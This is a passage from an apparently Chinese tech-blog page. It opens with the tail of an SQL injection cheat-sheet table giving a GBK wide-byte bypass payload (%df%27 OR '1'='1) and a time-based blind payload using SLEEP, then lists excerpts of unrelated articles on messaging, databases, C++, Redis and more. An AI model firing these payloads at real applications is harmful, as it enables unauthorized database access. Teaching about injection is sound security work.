宽字节绕过 | 利用多字节编码字符重叠 | %df%27 OR '1'='1 | 针对 GBK 等中文编码环境 |
延时注入 | 利用延时函数判断盲注 | AND IF(condition, SLEEP(5),0) | 无需报错,仅靠响应时间判断 |
相关文章:
关于 Web 漏洞原理与利用:1. SQL 注入(SQLi)
一、原理: 拼接 SQL 语句导致注入 SQL 注入的根本原因是:开发者将用户的输入和 SQL 语句直接拼接在一起,没有任何过滤或校验,最终被数据库“当作语句”执行了。 这就像是我们给数据库写了一封信,结果攻击者在我们的…...
【NLP 75、如何通过API调用智谱大模型】
事事忘记,事事等待,事事自愈 —— 25.5.18 一、调用智谱大模型 zhipuai.model_api.invoke():调用智谱 AI 的大模型(如 ChatGLM)进行文本生成或推理,支持同步请求。 参数列表 参数名类型是否必需默认值说…...
【RabbitMQ】 RabbitMQ高级特性(二)
文章目录 一、重试机制1.1、重试配置1.2、配置交换机&队列1.3、发送消息1.4、消费消息1.5、运行程序1.6、 手动确认 二、TTL2.1、设置消息的TTL2.2、设置队列的TTL2.3、两者区别 三 、死信队列6.1 死信的概念3.2 代码示例3.2.1、声明队列和交换机3.2.2、正常队列绑定死信交…...
EMQX开源版安装指南:Linux/Windows全攻略
EMQX开源版安装教程-linux/windows 因最近自己需要使用MQTT,需要搭建一个MQTT服务器,所以想到了很久以前用到的EMQX。但是当时的EMQX使用的是开源版的,在官网可以直接下载。而现在再次打开官网时发现怎么也找不大开源版本了,所以…...
MySQL 数据库备份与还原
作者:IvanCodes 日期:2025年5月18日 专栏:MySQL教程 思维导图 备份 (Backup) 与 冗余 (Redundancy) 的核心区别: 🎯 备份是指创建数据的副本并将其存储在不同位置或介质,主要目的是在发生数据丢失、损坏或逻辑错误时进…...
【数据结构】2-3-4 单链表的建立
数据结构知识点合集 尾插法建立单链表 建立链表时总是将新节点插入到链表的尾部,将新插入的节点作为链表的尾节点 /*尾插法建立链表L*/ LinkList List_TailInsert(LinkList &L) { int x; /*建立头节点*/ L (LNode *)malloc(sizeof(LNode)); /*…...
JVM如何处理多线程内存抢占问题
目录 1、堆内存结构 2、运行时数据 3、内存分配机制 3.1、堆内存结构 3.2、内存分配方式 1、指针碰撞 2、空闲列表 4、jvm内存抢占方案 4.1、TLAB 4.2、CAS 4.3、锁优化 4.4、逃逸分析与栈上分配 5、问题 5.1、内存分配竞争导致性能下降 5.2、伪共享(…...
猫番阅读APP:丰富资源,优质体验,满足你的阅读需求
猫番阅读APP是一款专为书籍爱好者设计的移动阅读应用,致力于提供丰富的阅读体验和多样化的书籍资源。它不仅涵盖了小说、非虚构、杂志等多个领域的电子书,还提供了个性化推荐、书架管理、离线下载等功能,满足不同读者的阅读需求。无论是通勤路…...
Redis 学习笔记 4:优惠券秒杀
Redis 学习笔记 4:优惠券秒杀 本文基于前文的黑马点评项目进行学习。 Redis 生成全局唯一ID 整个全局唯一 ID 的结构如下: 这里的时间戳是当前时间基于某一个基准时间(项目开始前的某个时间点)的时间戳。序列号是依赖 Redis 生…...
C++学习:六个月从基础到就业——C++17:if/switch初始化语句
C学习:六个月从基础到就业——C17:if/switch初始化语句 本文是我C学习之旅系列的第四十六篇技术文章,也是第三阶段"现代C特性"的第八篇,主要介绍C17引入的if和switch语句的初始化表达式特性。查看完整系列目录了解更多内…...
C++跨平台开发经验与解决方案
在当今软件开发领域,跨平台开发已成为一个重要的需求。C作为一种强大的系统级编程语言,在跨平台开发中扮演着重要角色。本文将分享在实际项目中的跨平台开发经验和解决方案。 1. 构建系统选择 CMake的优势 跨平台兼容性好 支持多种编译器和IDE 强大…...
RabbitMQ 工作模式(上)
前言 在 RabbitMQ 中,一共有七种工作模式,我们也可以打开官网了解: 本章我们先介绍前三种工作模式 (Simple)简单模式 P:producer 生产者,负责发送消息 C:consumer 消费者&#x…...
为什么需要加密机服务?
前言 大家好,我是老马。 以前我自己在写工具的时候,都是直接自己实现就完事了。 但是在大公司,或者说随着合规监管的要求,自己随手写的加解密之类的,严格说是不合规的。 作为一家技术性公司,特别是金融…...
【Linux】利用多路转接epoll机制、ET模式,基于Reactor设计模式实现
📚 博主的专栏 🐧 Linux | 🖥️ C | 📊 数据结构 | 💡C 算法 | 🅒 C 语言 | 🌐 计算机网络 上篇文章:多路转接epoll,实现echoserver 至此,Linux与…...
c/c++的findcontours崩溃解决方案
解决 Windows 平台 OpenCV findContours 崩溃:一种更稳定的方法 许多在 Windows 平台上使用 OpenCV 的开发者可能会在使用 findContours 函数时,遇到令人头疼的程序崩溃问题。尽管网络上流传着多种解决方案,但它们并非总能根治此问题。 当时…...
机器学习 Day18 Support Vector Machine ——最优美的机器学习算法
1.问题导入: 2.SVM定义和一些最优化理论 2.1SVM中的定义 2.1.1 定义 SVM 定义:SVM(Support Vector Machine,支持向量机)核心是寻找超平面将样本分成两类且间隔最大 。它功能多样,可用于线性或非线性分类…...
npm与pnpm--为什么推荐pnpm
包管理器中 npm是最经典的,但大家都任意忽略一个更优质的管理器:pnpm 1. 核心区别 特性npmpnpm依赖存储方式扁平化结构(可能重复依赖)硬链接 符号链接(共享依赖,节省空间)安装速度较慢&#…...
ollama调用千问2.5-vl视频图片UI界面小程序分享
1、问题描述: ollama调用千问2.5-vl视频图片内容,通常用命令行工具不方便,于是做了一个python UI界面与大家分享。需要提前安装ollama,并下载千问qwen2.5vl:7b 模型,在ollama官网即可下载。 (8G-6G 显卡可…...
济南国网数字化培训班学习笔记-第三组-1-电力通信传输网认知
电力通信传输网认知 电力通信基本情况 传输介质 传输介质类型(导引与非导引) 导引传输介质,如电缆、光纤; 非导引传输介质,如无线电波; 传输介质的选择影响信号传输质量 信号传输模式(单工…...
Kubernetes控制平面组件:Kubelet详解(六):pod sandbox(pause)容器
云原生学习路线导航页(持续更新中) kubernetes学习系列快捷链接 Kubernetes架构原则和对象设计(一)Kubernetes架构原则和对象设计(二)Kubernetes架构原则和对象设计(三)Kubernetes控…...
51单片机,两路倒计时,LCD1602 ,Proteus仿真
初始上电 默认2路都是0分钟的倒计时 8个按键 4个一组 一组控制一路倒计时 4个 按键:加 减 开始或者暂停 复位到0分钟相当于停止 针对第一路倒计时 4个 按键2:加 减 开始或者暂停 复位到0分钟相当于停止 针对第2路倒计时 哪一路到了0后蜂鸣器响 对应LED点亮 main.c 文件实现了…...
MySQL之储存引擎和视图
一、储存引擎 基本介绍: 1、MySQL的表类型由储存引擎(Storage Engines)决定,主要包括MyISAM、innoDB、Memory等。 2、MySQL数据表主要支持六种类型,分别是:CSV、Memory、ARCHIVE、MRG_MYISAN、MYISAM、InnoBDB。 3、这六种又分…...
写spark程序数据计算( 数据库的计算,求和,汇总之类的)连接mysql数据库,写入计算结果
1. 添加依赖 在项目的 pom.xml(Maven)中添加以下依赖: xml <!-- Spark SQL --> <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-sql_2.12</artifactId> <version>3.3.0…...
一:操作系统之系统调用
系统调用:用户程序与操作系统交互的桥梁 在计算机的世界里,应用程序是我们日常接触最多的部分,比如浏览器、文本编辑器、游戏等等。然而,这些应用程序并不能直接控制硬件资源,比如读写硬盘、创建新进程、发送网络数据…...
【ROS2】 核心概念6——通信接口语法(Interfaces)
古月21讲/2.6_通信接口 官方文档:Interfaces — ROS 2 Documentation: Humble documentation 官方接口代码实战:https://docs.ros.org/en/humble/Tutorials/Beginner-Client-Libraries/Single-Package-Define-And-Use-Interface.html ROS 2使用简化的描…...
SmartETL函数式组件的设计与应用
SmartETL框架主要采用了面向对象的设计思想,将ETL过程中的处理逻辑抽象为Loader和Processor(对应loader模块和iterator模块),所有流程组件需要继承或实现DataProvider(iter方法)或JsonIterator(…...
Spring Security与SaToken的对比与优缺点分析
Spring Security与SaToken对比分析 一、框架定位 Spring Security 企业级安全解决方案,深度集成Spring生态提供完整的安全控制链(认证、授权、会话管理、攻击防护)适合中大型分布式系统 SaToken 轻量级权限认证框架,专注Token会…...
|从零开始的Pyside2界面编程| 环境搭建以及第一个ui界面
🐑 |从零开始的Pyside2界面编程| 环境搭建以及第一个ui界面🐑 文章目录 🐑 |从零开始的Pyside2界面编程| 环境搭建以及第一个ui界面🐑♈前言♈♈Pyside2环境搭建♈♈做个简单的UI界面♈♒代码实现♒♒QTdesigner设计UI界面♒ ♒总…...
【爬虫】DrissionPage-7
官方文档: https://www.drissionpage.cn/browser_control/get_page_info/ 1. 页面信息 📌 html 描述:返回当前页面的 HTML 文本。注意:不包含 <iframe> 元素的内容。返回类型:str 示例: html_co…...
系统架构设计(十二):统一过程模型(RUP)
简介 RUP 是由 IBM Rational 公司提出的一种 面向对象的软件工程过程模型,以 UML 为建模语言,是一种 以用例为驱动、以架构为中心、迭代式、增量开发的过程模型。 三大特征 特征说明以用例为驱动(Use Case Driven)需求分析和测…...
深入解析Java事件监听机制与应用
Java事件监听机制详解 一、事件监听模型组成 事件源(Event Source) 产生事件的对象(如按钮、文本框等组件) 事件对象(Event Object) 封装事件信息的对象(如ActionEvent包含事件源信息…...
QT聊天项目DAY11
1. 验证码服务 1.1 用npm安装redis npm install redis 1.2 修改config.json配置文件 1.3 新建redis.js const config_module require(./config) const Redis require("ioredis");// 创建Redis客户端实例 const RedisCli new Redis({host: config_module.redis_…...
Python训练营---Day29
知识点回顾 类的装饰器装饰器思想的进一步理解:外部修改、动态类方法的定义:内部定义和外部定义 作业:复习类和函数的知识点,写下自己过去29天的学习心得,如对函数和类的理解,对python这门工具的理解等&…...
Flask-SQLAlchemy_数据库配置
1、基本概念(SQLAlchemy与Flask-SQLAlchemy) SQLAlchemy 是 Python 生态中最具影响力的 ORM(对象关系映射)库,其设计理念强调 “框架无关性”,支持在各类 Python 项目中独立使用,包括 Flask、D…...
世界银行数字经济指标(1990-2022年)-社科数据
世界银行数字经济指标(1990-2022年)-社科数据https://download.csdn.net/download/paofuluolijiang/90623839 https://download.csdn.net/download/paofuluolijiang/90623839 此数据集涵盖了1990年至2022年间全球各国的数字经济核心指标,数据…...
Redis进阶知识
Redis 1.事务2. 主从复制2.1 如何启动多个Redis服务器2.2 监控主从节点的状态2.3 断开主从复制关系2.4 额外注意2.5拓扑结构2.6 复制过程2.6.1 数据同步 3.哨兵选举原理注意事项 4.集群4.1 数据分片算法4.2 故障检测 5. 缓存5.1 缓存问题 6. 分布式锁 1.事务 Redis的事务只能保…...
NY337NY340美光固态颗粒NC010NC012
NY337NY340美光固态颗粒NC010NC012 在存储技术的浩瀚星空中,美光的NY337、NY340、NC010、NC012等固态颗粒宛如璀璨星辰,闪耀着独特的光芒。它们承载着先进技术与无限潜力,正深刻影响着存储行业的格局与发展。 一、技术架构与核心优势 美光…...
DAY26 函数定义与参数
浙大疏锦行-CSDN博客 知识点回顾: 1.函数的定义 2.变量作用域:局部变量和全局变量 3.函数的参数类型:位置参数、默认参数、不定参数 4.传递参数的手段:关键词参数 5.传递参数的顺序:同时出现三种参数类型时 函数的定义…...
系统安全及应用
目录 一、账号安全控制 1.基本安全措施 (1)系统账号清理 (2)密码安全控制 (3)历史命令,自动注销 2.用户提权和切换命令 2.1 su命令用法 2.2 sudo命令提权 2.3通过是sudo执行特权命令 二、系统引导和登录控制…...
微信小程序 地图 使用 射线法 判断目标点是否在多边形内部(可用于判断当前位置是否在某个区域内部)
目录 射线法原理简要逻辑代码 小程序代码调试基础库小程序配置地图数据地图多边形点与多边形关系 射线法 原理 使用射线法来判断,目标点是否在多边形内部 这里简单说下,具体细节可以看这篇文章 平面几何:判断点是否在多边形内(…...
第三十七节:视频处理-视频读取与处理
引言:解码视觉世界的动态密码 在数字化浪潮席卷全球的今天,视频已成为信息传递的主要载体。从短视频平台的爆火到自动驾驶的视觉感知,视频处理技术正在重塑人类与数字世界的交互方式。本指南将深入探讨视频处理的核心技术,通过Python与OpenCV的实战演示,为您揭开动态影像…...
什么是 Flink Pattern
在 Apache Flink 中,Pattern 是 Flink CEP(Complex Event Processing)模块 的核心概念之一。它用于定义你希望从数据流中检测出的 事件序列模式(Event Sequence Pattern)。 🎯 一、什么是 Flink Pattern&am…...
ADB基本操作和命令
1.ADB的含义 adb 命令是 Android 官方提供,调试 Android 系统的工具。 adb 全称为 Android Debug Bridge(Android 调试桥),是 Android SDK 中提供的用于管理 Android 模拟器或真机的工具。 adb 是一种功能强大的命令行工具&#x…...
NSString的三种实现方式
oc里的NSString有三种实现方式,为_ _NSCFConstantString、__NSCFString、NSTaggedPointerString 1._ _NSCFConstantString(字面量字符串) 从字面意思上可以看出,_ _NSCFContantString可以理解为常量字符串,这种类型的字符串在编译期就确定了…...
2025年PMP 学习二十 第13章 项目相关方管理
第13章 项目相关方管理 序号过程过程组过程组1识别相关方启动2规划相关方管理规划3管理相关方参与与执行4监控相关方参与与监控 相关方管理,针对于团队之外的相关方的,核心目标是让对方为了支持项目,以达到项目目标。 文章目录 第13章 项目相…...
学习黑客Kerberos深入浅出:安全王国的门票系统
Kerberos深入浅出:安全王国的门票系统 🎫 作者: 海尔辛 | 发布时间: 2025-05-18 🔑 理解Kerberos:为什么它如此重要? Kerberos是现代网络环境中最广泛使用的身份验证协议之一,尤其在Windows Active Dire…...
蓝桥杯19681 01背包
问题描述 有 N 件物品和一个体积为 M 的背包。第 i 个物品的体积为 vi,价值为 wi。每件物品只能使用一次。 请问可以通过什么样的方式选择物品,使得物品总体积不超过 M 的情况下总价值最大,输出这个最大价值即可。 输入格式 第一行输…...
使用 Auto-Keras 进行自动化机器学习
使用 Auto-Keras 进行自动化机器学习 了解自动化机器学习以及如何使用 auto-keras 完成它。如今,机器学习并不是一个非常罕见的术语,因为像 DataCamp、Coursera、Udacity 等组织一直在努力提高他们的效率和灵活性,以便将机器学习的教育带给普…...
算法刷题Day9 5.18:leetcode定长滑动窗口3道题,结束定长滑动窗口,用时1h
12. 1852.每个子数组的数字种类数 1852. 每个子数组的数字种类数 - 力扣(LeetCode) 思想 找到nums 所有 长度为 k 的子数组中 不同 元素的数量。 返回一个数组 ans,其中 ans[i] 是对于每个索引 0 < i < n - k,nums[i..(i …...
Protect Your Digital Privacy: Obfuscate, Don’t Hide
Protect Your Digital Privacy: Obfuscate, Don’t Hide In today’s digital world, hiding completely online is nearly impossible. But you can protect yourself by deliberately obfuscating your personal information — making it harder for others to track, pro…...